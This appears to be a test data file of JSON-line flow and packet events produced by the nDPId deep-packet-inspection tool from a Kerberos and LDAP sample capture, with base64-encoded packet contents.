+00718{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":817554,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"pB9ywglqAAgCHEeuCABFAAELACpAAIAGkNGsEAjJrBAICMAEAb1XsKRSOc8tT1AYAP5XOQAAtEaCpoUNMQEcRu8rXL+flRkpXPhHudnte7juaoAeTLu\/yTOr\/klMHDKYHSz0JIIsigIVsBaMl3PyJLoeb\/thjoYGSwkEC2m4nRdpRXAof0BuI3WnXPinh7MhPVCaTGyJNfqfVu\/1dc4+HXKYy76MWWV4zUtzQAeAZlVdIbuoLUlvFXjFSw5Ryb7lDA5ay5XLMnQY1U2bYUt6MYxBsLvHXZpUwBGPjxstpVTddlgnyYV1MOsJQv5Du0utIGTzTo6LpQrGUrUbi+j64I7Cmr+KeRuwdhEzhGbc+mJlwRYjD6cvIxA="} +00766{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":818281,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":314,"pkt_l4_len":280,"pkt":"AAgCHEeupB9ywglqCABFAAEsEydAAIAGfbOsEAgIrBAIyQG9wAQ5zy1PV7ClNVAYAQBD3AAAAAABAP5TTUJAAAEAAAAAAAEAHwAJAAAAAAAAAAIAAAAAAAAA\/\/4AAAAAAABZAAAAAAQAAM9KX1xrFqd60K9wkt\/rc1cJAAAASAC4AKGBtTCBsqADCgEAoQsGCSqGSIL3EgECAqKBnQSBmmCBlwYJKoZIhvcSAQICAgBvgYcwgYSgAwIBBaEDAgEPongwdqADAgESom8EbaDd4i7\/ItyR1a9jC52avEiTOhersM4IXB2s8eeK3O+ftonNzS3toSakh8sE2tBVm3gbqMBKq1zSZzBBR6cu+Hrjxp\/3xoJEFPVC\/4y\/BWmosce7zt2RHazTIcgt7F0qD+5oY0gWkTgMB+VU0Ro="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1549337929981,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49162,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":981761,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"pB9ywglqAAgCHEeuCABFAADBADZAAIAGkQ+sEAjJrBAICMAKAFgVCzarRRAS7FAYAQB2LAAAqoGWMIGToAMCARKigYsEgYi0+C7lIM6lpWfLcf2ezyusajpC0TYc1OX1vmb3DhkyjRtC5TeZRg9Wzt\/ubCTSXWpwv+zrJOhZpUKxM\/PhogQbKSmJJuvTC3n4CxJc9SponZNFKF1Kt9\/yiDsesCZaEKdbgZEf1rZ1aHAiihciexKw\/Qr8RPyDjBEhr0yc0K8+XP7zeT3kqKdm"} +00579{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":983015,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"AAgCHEeupB9ywglqCABFAACmEzJAAIAGfi6sEAgIrBAIyQBYwApFEBigFQs3RFAYAQCNWQAABoWQU5dMx7s3k7lFXcqa6uoE3YqM179MtGFm5Pp0PzGMSHM6ikhCYuxEbF8vf630PDV4M+ymDkgmnA6LZ83pNOsEhGLNGEwQsGjuja+QpA2dd9fjedDg4z2eYZ9DeqXNfMVtviu+Fd00prhwc+9nnU9I900bDPmSAhZM9lsL"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1549337929983,"flow_last_seen":0,"flow_tot_l4_data_len":286,"flow_min_l4_data_len":286,"flow_max_l4_data_len":286,"flow_avg_l4_data_len":286,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49161,"dst_port":389,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00776{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":983344,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"pB9ywglqAAgCHEeuCABFAAEyADpAAIAGkJqsEAjJrBAICMAJAYUOQjJnSJfL+1AYAQBrWQAA8TZc0LDMp13P2bhHUwE3wC3znhyPA6u84KleikgMfgmc3jalHTIxDwXMnjy\/W4F7\/2WZoUcx2XOew9rGWayLePl5BZIz7shN5PFXYJc\/9PAyv29TC7M2XLiMKexhyeYlRE9uvUtK9DAnR\/ttWEC9zdC56cQON1H8q936tfR+Slz7RKm2uwASDHI8fSFcEQQxtgqaAo4BBsj3qlqLB0lXoxQ8eGOcEVy2\/38vMlSj+c\/3tdAxc+T2J+ChqVKK6Ti6p9NJhgfdb6n6Fkr1nJ\/E0PHo7Ab3tBkqkSpNzV9oaIDc\/AnEKYXHdAsdm\/IAEKeNDZ3xj3dnB41oCyCZcvi9r2HqvrS9bMHFZEs="} +00694{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":983901,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"AAgCHEeupB9ywglqCABFAAD6EzZAAIAGfdasEAgIrBAIyQGFwAlIl8v7DkIzcVAYAQBePQAAMIQAAADMAgEDYYQAAADDCgEABAAEAIeCALihgbUwgbKgAwoBAKELBgkqhkiC9xIBAgKigZ0EgZpggZcGCSqGSIb3EgECAgIAb4GHMIGEoAMCAQWhAwIBD6J4MHagAwIBEqJvBG1fPlG7bKWdrh2HD6cpz+MijBmfhDcDSHRgxosMnwcbCi1ZRnrViGBtMC2nQv6mVUDSJapX\/mZgtc4l9ALb+\/jokxskSCIt0GZfBXlBh6SOp7g9nc\/2WT4mG5e+fctttNW4KixsBWTLsk4U0TsD"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1549337930192,"flow_last_seen":0,"flow_tot_l4_data_len":259,"flow_min_l4_data_len":259,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":259,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49166,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00733{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337930,"pkt_ts_usec":192989,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"pB9ywglqAAgCHEeuCABFAAEXAE9AAIAGkKCsEAjJrBAICMAOAFh1zEKiBQpS4FAYAQB22wAAAAAA62qB6DCB5aEDAgEFogMCAQqjFTATMBGhBAICAICiCQQHMAWgAwEB\/6SBwTCBvqAHAwUAQIEAEKEYMBagAwIBAaEPMA0bC2pvaG5zb24tcGMkohAbDkhBUFBZQ1JBRlQuT1JHoyMwIaADAgECoRowGBsGa3JidGd0Gw5IQVBQWUNSQUZULk9SR6URGA8yMDM3MDkxMzAyNDgwNVqmERgPMjAzNzA5MTMwMjQ4MDVapwYCBE6HHTSoFTATAgESAgERAgEXAgEYAgL\/eQIBA6kdMBswGaADAgEUoRIEEEpPSE5TT04tUEMgICAgICA="} +00783{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337930,"pkt_ts_usec":193305,"pkt_caplen":332,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":332,"pkt_l4_len":298,"pkt":"AAgCHEeupB9ywglqCABFAAE+E0ZAAIAGfYKsEAgIrBAIyQBYwA4FClLgdcxDkVAYAQCvKAAAAAABEn6CAQ4wggEKoAMCAQWhAwIBHqQRGA8yMDE5MDIwNTAzMzg0OFqlBQIDDGWApgMCARmpEBsOSEFQUFlDUkFGVC5PUkeqIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDkhBUFBZQ1JBRlQuT1JHrIGnBIGkMIGhMH6hAwIBE6J3BHUwczA0oAMCARKhLRsrSEFQUFlDUkFGVC5PUkdob3N0am9obnNvbi1wYy5oYXBweWNyYWZ0Lm9yZzAFoAMCARcwNKADAgEDoS0bK0hBUFBZQ1JBRlQuT1JHaG9zdGpvaG5zb24tcGMuaGFwcHljcmFmdC5vcmcwCaEDAgECogIEADAJoQMCARCiAgQAMAmhAwIBD6ICBAA="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1549337930214,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49167,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00840{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337930,"pkt_ts_usec":214154,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"pB9ywglqAAgCHEeuCABFAAFnAFNAAIAGkEysEAjJrBAICMAPAFhOqMfQDl0Bb1AYAQBFdgAAAAABO2qCATcwggEzoQMCAQWiAwIBCqNjMGEwTKEDAgECokUEQzBBoAMCARKiOgQ4T+8E3pUi7h1ZsZOoIXjjwvAQAgQGpJXHn0jgIAIbXQei+GxBZQViNO7UVdhzj5KUys1PXrvG2C8wEaEEAgIAgKIJBAcwBaADAQH\/pIHBMIG+oAcDBQBAgQAQoRgwFqADAgEBoQ8wDRsLam9obnNvbi1wYySiEBsOSEFQUFlDUkFGVC5PUkejIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDkhBUFBZQ1JBRlQuT1JHpREYDzIwMzcwOTEzMDI0ODA1WqYRGA8yMDM3MDkxMzAyNDgwNVqnBgIETocdNKgVMBMCARICARECARcCARgCAv95AgEDqR0wGzAZoAMCARShEgQQSk9ITlNPTi1QQyAgICAgIA=="} +00563{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337930,"pkt_ts_usec":214775,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"AAgCHEeupB9ywglqCABFAACYE0tAAIAGfiOsEAgIrBAIyQBYwA8OXQcjTqjJD1AYAQBZNwAAQBgDyB6VZPxID+fu9kcivDlP7463Dy1IfrYrHVzuJLB3P27gpkccW43Mtu3NrktwKAyme0Z0QNo0JvH3ppwCLvPborHS7i5Jp9I5pxLf5LZX6AlmVea2udQa4ufUWkijqzhrShLiqrevOUKPGzj2OQ=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1549337930217,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49168,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337930,"pkt_ts_usec":217118,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"pB9ywglqAAgCHEeuCABFAADBAFlAAIAGkOysEAjJrBAICMAQAFhuA\/SQrSTVxVAYAQACWAAAqoGWMIGToAMCARKigYsEgYhFQhzXcnmj64Ly0uBtjkMUoTuM+x\/rpAOTUWDkUHAspBDcB8geScaOnqOyTgnIEt9ORSbyaLGh7aDpqWoX8LkoU9AsGNn4U6LRjikWi59PfjQn46P9BY0tn6JOEZn\/IKW+bzyhJYK72MU5dfE\/Y9v1QP4pOcMGsyTXEkOUPDq6y5KpwHUNPs1e"} +00585{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337930,"pkt_ts_usec":217937,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"AAgCHEeupB9ywglqCABFAACmE1FAAIAGfg+sEAgIrBAIyQBYwBCtJNt5bgP1KVAYAQC1BwAApQG9zo7oa2HyeKU61c2m29Ax+Ioczo4ZbPhC81jR0pDanr7lBKhJeMuGW\/uva7FyAslnHaJSlZ\/JCHVy9T8T0Ut1tj8cqy\/o\/YC+6XwQJV1\/l63dulAmK8KMVnuSbTDSVBQ5iahKxwLlZ8cbK3LMBirQeX8FcESDlzlIPsVQ"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1549337930219,"flow_last_seen":0,"flow_tot_l4_data_len":395,"flow_min_l4_data_len":395,"flow_max_l4_data_len":395,"flow_avg_l4_data_len":395,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49165,"dst_port":49155,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00918{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337930,"pkt_ts_usec":219494,"pkt_caplen":429,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":429,"pkt_l4_len":395,"pkt":"pB9ywglqAAgCHEeuCABFAAGfAF1AAIAGkAqsEAjJrBAICMANwANTRo4+sysn9FAYAQASVgAAOJsrJlDNtr7H4lcner+4Ya97utGtvfHqO\/A9pIIBWDCCAVSgAwIBEqKCAUsEggFHE7YBEd08uXxTAz9oATIBnzsu+CIXQ7IKgHphso5XWVrf1UwI0kS3bNe0YDIltyDk2xHWA\/s5Rnf1JAD5LdMYfWfRtly9XMnusGEqHhr+HUrsB70ut1E9AZfE9oDmCRiRKgSi\/yPqeUdMQ3mTdU1fxpZbOqOrcP2UxT7TverwRJibh+asJMQhC1cH82k0XRAktx95xJlXR3QKNE1DR8fsq9gq2Y16fmA9gsztPUDC4IkAL71ItK34puHol45q2g1+vM2umAkKTXGS4uZkIzxH5rv1eNIbWz6GtEw1jeT5kTsqyd\/cgQicx4yHy9VJKmfjweCCyOHHgJ0JONAYKLNrmUspunn\/qiNj30BsQPTsl8DziFoWtJvBGiR7UAPGmzNl3CewZOrjtG26JZPGTaTuBek+GwxKg7cb\/ze4riey9Wnfq0rUqdvf"} +00794{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337930,"pkt_ts_usec":219495,"pkt_caplen":338,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":338,"pkt_l4_len":304,"pkt":"AAgCHEeupB9ywglqCABFAAFEE1VAAIAGfW2sEAgIrBAIycADwA2zKyf0U0aPtVAYAQCiqgAABQAMBxAAAAAcAagAAgAAANAW0BaHIgAABgA0OTE1NQADAAAAAgACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMFcXG6vjdJgxm12++czDYBAAAAAwADAAAAAAAAAAAAAAAAAAAAAAAAAAAACQYAAAAAAAChgaUwgaKgAwoBAaELBgkqhkiC9xIBAgKigY0EgYpvgYcwgYSgAwIBBaEDAgEPongwdqADAgESom8EbZHvDki757uIRa6348vky4CmSXJcuY8x7Y1L3GMPoboaFC4AmaVBuECBYLv9qMZx8MRhhEX3NAubRHjTv4BhutqH0onvuRNc5YNBgbuLmx\/PeM5pC\/bambRC96DP0B9XtGxHF5b6I04IhLGs2Ss="} +00717{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337930,"pkt_ts_usec":219495,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"pB9ywglqAAgCHEeuCABFAAEEAF5AAIAGkKSsEAjJrBAICMANwANTRo+1syspEFAYAP\/w8AAABQAOAxAAAADcAIwAAgAAANAW0BYAAAAAAQAAAAEAAQA1QlHjBkvREasEAMBPwtzSBAAAADMFcXG6vjdJgxm12++czDYBAAAACQYAAAAAAAChgYkwgYagAwoBAaJfBF1vWzBZoAMCAQWhAwIBD6JNMEugAwIBEqJEBEJ\/MyGgG2X9jllu+ZB+MxLzLgKVhkidSZOf9UFj0HoVGhQSTvPAIV6ETXdthgzo7fJnzn1QgLAxGW+unJjrxZzV2yGjHgQcBAQE\/\/\/\/\/\/8AAAAAToOoIEtcH3O\/XLUOvcMURw=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1549337931189,"flow_last_seen":0,"flow_tot_l4_data_len":262,"flow_min_l4_data_len":262,"flow_max_l4_data_len":262,"flow_avg_l4_data_len":262,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49169,"dst_port":389,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00741{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":189901,"pkt_caplen":296,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":296,"pkt_l4_len":262,"pkt":"pB9ywglqAAgCHEeuCABFAAEaAHBAAIAGkHysEAjJrBAICMARAYXGiPwnAgHw6FAYAQD72QAAHIAjHF8ymtjcD1VQuy4UgRChAu\/ekRMgcpsydbeCEgGc8O49XcEm2dIOQUYWz5jyNJ04mLjuLVb5JED7bXFEp0Ouk95kXWAsbhG+yaFiTruRiQNLefpIfBd02fAN9rH6kVBTVFVzTavxG5ZN46Q2CRurERdYtT07E7VAGTF+6yWhKn18+hUxFM5IXiI8jM4osfH687+lmO1gN\/3mr3cymHmPLwvBfLQ9P\/qJ62iSz72gALgVKjnTrFQYtji5UhDqTerpDdd7cbCpV4VyQehZ\/3jzwsKcVZtQElZtM7aiTvqbzIsK7RmP3EZFJoQ\/JIQyyhY="} +00692{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":190653,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"AAgCHEeupB9ywglqCABFAAD6E2FAAIAGfausEAgIrBAIyQGFwBECAfDoxoj9GVAYAQDO8AAAMIQAAADMAgEDYYQAAADDCgEABAAEAIeCALihgbUwgbKgAwoBAKELBgkqhkiC9xIBAgKigZ0EgZpggZcGCSqGSIb3EgECAgIAb4GHMIGEoAMCAQWhAwIBD6J4MHagAwIBEqJvBG1TTwhyAF9FVLbWTl8wTaD0aGMw9PDC0vNUorciel2CrkeZRTWRInWV74srNnVapF3vxPYDt7dvyfJVk888MzdKOasNrV1ijuwTfVJ0DIXj985iqAQmj9Mcte2ZOXgI6pFvWB0EEgpCluxB9enG"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1549337931198,"flow_last_seen":0,"flow_tot_l4_data_len":133,"flow_min_l4_data_len":133,"flow_max_l4_data_len":133,"flow_avg_l4_data_len":133,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49170,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00564{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":198672,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"pB9ywglqAAgCHEeuCABFAACZAHRAAIAGkPmsEAjJrBAICMASAFgkNdEgXsLgdFAYAQB+8gAAMUMT6Lk9nd3l4g7meOnydVZeUkzRDUCNbnZ+O2nc5UtCJOGQV8MBRj2azOMjgxpQ1tcViooap1+TILjpjhURvLMTREvy8WPkAKcvtuPHKbLtQ3Ir7HNN6Ftdy+KwiOrOLvSrSyEtUhWZxA6KOnwca9s="} +00503{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":199586,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"AAgCHEeupB9ywglqCABFAABsE2VAAIAGfjWsEAgIrBAIyQBYwBJewuYoJDXRkVAYAQBPlQAA7mWAsz4LwR11oOSQ27Ex06YGG2bAP8ttVVXtAwxS755lCHRg4mUkpOjXnBJJ8KdHDkkp7LWBSVTLf+j0wkJ4hFVjx0c="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1549337931210,"flow_last_seen":0,"flow_tot_l4_data_len":1452,"flow_min_l4_data_len":1452,"flow_max_l4_data_len":1452,"flow_avg_l4_data_len":1452,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49171,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02355{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":210214,"pkt_caplen":1486,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1486,"pkt_l4_len":1452,"pkt":"pB9ywglqAAgCHEeuCABFAAXAAHpAAIAGi8ysEAjJrBAICMATAFio5J72SB155lAYAQAvgAAAAAAFlGyCBZAwggWMoQMCAQWiAwIBDKOCBQcwggUDMIIE\/6EDAgEBooIE9gSCBPJuggTuMIIE6qADAgEFoQMCAQ6iBwMFAAAAAACjggQ0YYIEMDCCBCygAwIBBaEQGw5IQVBQWUNSQUZULk9SR6IjMCGgAwIBAqEaMBgbBmtyYnRndBsOSEFQUFlDUkFGVC5PUkejggPsMIID6KADAgESoQMCAQKiggPaBIID1hKWdXqL0IxSnZlxRjhHmIFUVS3rvb7i9fEBKrEJ5PVjDXxsAQeDmTL9wweNNg1pCQDRmZ6AE\/m2Y7TGJV\/FdJF\/GLAs\/UE5nC+H+eLE4iuLtnFkH3govXIWXOdlEsqQhROyd4qj2WtH7bxyzZwdtdBzD8HNk\/Zyhfmgmp+oA1+8nXeYYFDFKmqTt9a00HvvmTpJfi0pguIgxY8KmJbF4d1RUkWNuXZ5g7FA43R8i0OyHjh+mwSGoE1gJ\/X8DroluAfskaOHhGVguFx+famY4o8UsY6g4BojHiLERbIlzMsUYRq\/EQf2FuSw8Wc3swODADnnHqoAdpFJG5\/GMQbUUUhsHy5eDXa3\/EPT1ZKqI0bJsr7jOF5G9ytS8thT6E7bOOCcOFN4JNFsCA3bCyRL6jYH2ZedtZMr5yCI40ePAHAaIBbEPTKYDMpCUKxXExG41vrN6dY4CEFLw2Tb4BDinhxjESAIpIw6LOtdRzBrkjiFKjPEj4UBorlhX90DmWgF5dFJbZXz5eOVcZ\/qmOnm8JcuVim8byzO3C2W5go47U+8GNRvk\/iuaoCs18MAuzn4DOtJmgk1eSuxxL9sUZmjkqejNSB6Ny8aYGysoT\/tUR2mS\/10DyxEUb\/M23KvW\/d0nkBg7qCjWXvlLjMDmACl3rd8MXcyqYWqmZcwKWLk5yL3YiZbL90SxemnQHTIY+DWavybHj9SrM5+aINDzqHcDq0aHAhhwNPUOQQH+m0ab759iCYVNaTyITpTWuG6hneFvKoU9d3uSafxpBU5TJfC9PTmhW+\/db+6ouEM0JlNTrwSmfDpaJJPc+gkzn45Pl5k\/7+Abb+s6rWMNfHT+Em3MBbZJYdM0UlQ1xrel8YuJnwOOGyF4x2puehNGP\/\/\/ouwl65KT\/CBdxNVmhdbElBMgwiINySCK0GaA0G8iJuo2p3q21Z3q6PwC\/TBFuSNBvRRaLYdHeXUMMCTZUjjLBHDUqLGGPYiG40kPfZcBzP2U1v\/9gWBK4kWlSfWhwHwDob09dR24nAmYkaTEvrRnFvLOPKhepgPz5FiL+TNVO0x7Q9MEcpXED6nxJ9fgUpL+5AL+5zKjvBqGhTBSFztV5n2jwS9BN5nwKGyQXNwz7M3IugClC01JUeDu8ccEtCesL+sdsbL1EP7jcFCC1EniPRKxntY82esVy8lyQlrXBxmBdMcKVUa21imq65LZV0MJEQvFPcKWd3cpqWETjO2y3rGD5HXk8dwPDck3LvUU56PaEiLP3SNlqGRnDfEXoiRxz6YMXMhdwJMRbqAQJYa71fsqMLgQ4u3s5WkgZwwgZmgAwIBEqKBkQSBjkBvFbBksZRBZsgqvT9rWZWIMz104YLf86+Cksa0ZMsEGJ\/RDcCZOr8kPQRKlwzkm2uQjqkaOemu4sYhWXYr71KrOEs2JUveeWW4HHkLaYXd0a2yOtTAVV1zR76rPVw3Om2DZiy3OdOJiQuRn3tY6sCbzkX\/gKz0r0nI8miItgy4uzP0Z9rEEUiiCUR\/XkOkdTBzoAcDBQBAgQAAohAbDkhBUFBZQ1JBRlQuT1JHoycwJaADAgEKoR4wHBsaam9obnNvbi1wYyRASEFQUFlDUkFGVC5PUkelERgPMjAzNzA5MTMwMjQ4MDVapwYCBE44sbqoEjAQAgESAgERAgEXAgEYAgL\/eQ=="} 